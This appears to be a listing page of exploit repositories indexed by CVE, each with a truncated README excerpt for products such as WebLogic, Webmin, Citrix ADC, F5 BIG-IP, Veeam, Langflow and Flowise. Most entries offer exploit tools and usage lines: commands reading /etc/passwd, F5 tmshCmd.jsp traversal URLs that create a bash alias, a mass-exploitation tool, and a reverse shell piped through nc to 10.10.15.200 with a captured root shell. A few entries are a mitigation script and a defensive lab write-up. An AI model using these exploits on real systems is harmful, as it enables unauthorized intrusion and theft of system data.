CVE-2025-20029

CVE-2025-20029: Command Injection in TMSH CLI in F5 BIG-IP A command injection vulnerability exists in the F5 “tmsh” restricted CLI which allows an authenticated attacker to leverage the commands accessible by a low privilege user in order to bypass restrictions, inject arbitrary commands and...

CVE-2018-2628

CVE-2018-2628 WebLogic Deserialization Vulnerability Reproduction weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | |...

CVE-2019-15642

CVE-2019-15642 Webmin Remote Code Execution authenticated python Usage: python CVE-2019-15642.py https://xxx.xxx.xxx:10000 "cat /etc/passwd" 0x01 docker for Webmin cd /vulhub/webmin/CVE-2019-15107 docker-compose up -d root@9460493fa985:/ passwd root Webmin username=root,password=root ⚡ root@jas50...

CVE-2025-32433

CVE-2025-32433 A critical vulnerability in Erlang/OTP SSH server allows unauthenticated remote code execution RCE. The flaw exists in the SSH protocol message handling mechanism, enabling attackers to execute arbitrary commands without requiring authentication credentials. Impact Critical severit...

CVE-2023-22496-PoC

CVE-2023-22496 — Netdata Agent OS Command Injection PoC Severity : Critical CVSS 9.8 Affected : Netdata Agent Fixed in : v1.37.0 Type : OS Command Injection CWE-78 Overview CVE-2023-22496 is an OS command injection vulnerability in Netdata's health alarm notification system. The registryhostname ...

Apache-Log4j2-RCE

Apache Log4j2 RCE Verification Environment Since from 2021.12.09 Some References https://mp.weixin.qq.com/s/yck74F9p9QhVw3ykzVoSg Setting up the Environment Maven introduces related packages and vulnerable version range org.apache.logging.log4j log4j-api 2.14.1 org.apache.logging.log4j log4j-core...

CVE-2024-40711-Exp

Usages .\ysoserial.exe -f BinaryFormatter -g Veeam -c localhostServer -vi targetIP -vp 6170 -vg DataSet -vc "cmd /c mspaint.exe" Usage: ysoserial.exe options Options: --vi, --targetveeamip=VALUE The target Veeam Backup and reaplication IP address --vp, --targetveeamport=VALUE The target Veeam...

cve-2022-42889-text4shell

Install maven - maven-linux 1. Maven install to create the fat jar mvn clean install 2. Docker build docker build --tag=text4shell . 3. Docker run docker run -p 80:8080 text4shell 4. Test the app http://localhost/text4shell/attack?search= 5. Attack can be performed by passing a string...

Mass-CVE-2025-3248

Langflow CVE-2025-3248 Exploit Tool Overview This tool exploits the critical Remote Code Execution RCE vulnerability CVE-2025-3248 found in Langflow versions prior to 1.3.0. The vulnerability exists in the /api/v1/validate/code endpoint which improperly executes user-supplied code without...

CVE-2020-5903

CVE-2020-5902 RCE /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash...

serialator

serialator Python script to exploit CVE-2015-4852. Description During a recent engagement, I found that Nessus was now actively exploiting vulnerabilities for confirmation. When I checked the associated nasl script I found that the payload was generic enough to be used on a standalone script...

CVE-2025-59712_CVE-2025-59713

PoC for CVE-2025-59712 and CVE-2025-59713 This PoC provides an automated script to exploit CVE-2025-59712 XSS in User-Agent header and CVE-2025-59713 unsafe deserialization. Context These two vulnerabilities were discovered by Synacktiv during vulnerability research on the Snipe-IT software...

Fix-CVE-2023-36884

Fix-CVE-2023-36884.ps1 Temporary solution to mitigate the vulnerability CVE-2023-36884. This vulnerability affects the Windows operating system and may allow remote code execution. CVE-2023-36884 » CVE-2023-36884 The CVE-2023-36884 vulnerability, which is a critical security flaw that can result ...

CVE-2019-8985

firmware and exp for CVE–2019–8985 Netis WF2411 RCE study :...

CVE-2024-28397

CVE-2024-28397 js2py Sandbox Escape Exploit - CodePartTwo - HTB A Python exploit code for CVE-2024-28397 , a critical vulnerability in js2py = 0.74 that allows sandbox escape and remote code execution. 🚨 Vulnerability Details CVE ID : CVE-2024-28397 Affected Software : js2py = 0.74 Severity :...

CVE-2019-19781

CVE-2019-19781 Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway CVE-2019-19781 Usage : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd' Reference :...

CVE-2023-43654

CVE-2023-43654 ShellTorch is a chain of 3 Critical Vulnerabilities in PyTorch TorchServe - the default inference server of PyTorch. This is an End-to-End POC for an SSRF vulnerability which leads to Arbitrary Remote Code Execution from the network 1. Run TorchServe 0.8.1 docker run -d --rm -it -p...

CVE-2018-16119

CVE-2018-16119: Authenticated Remote Code Execution in TP-Link WR1043ND Overview CVE-2018-16119 is a critical authenticated remote code execution vulnerability affecting TP-Link TL-WR1043ND routers. This vulnerability allows authenticated attackers to execute arbitrary commands on the target devi...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introduction I went into a SharePoint zero-day called ToolShell CVE-2025-53770 in the LetsDefend lab. I mimicked a real-world zero-day attack where a malicious POST request bypassed auth, ran PowerShell to steal MachineKeySection key...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Authenticated RCE PoC for Flowise version &1|nc 10.10.15.200 443 /tmp/f' Check the listener and it should work: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...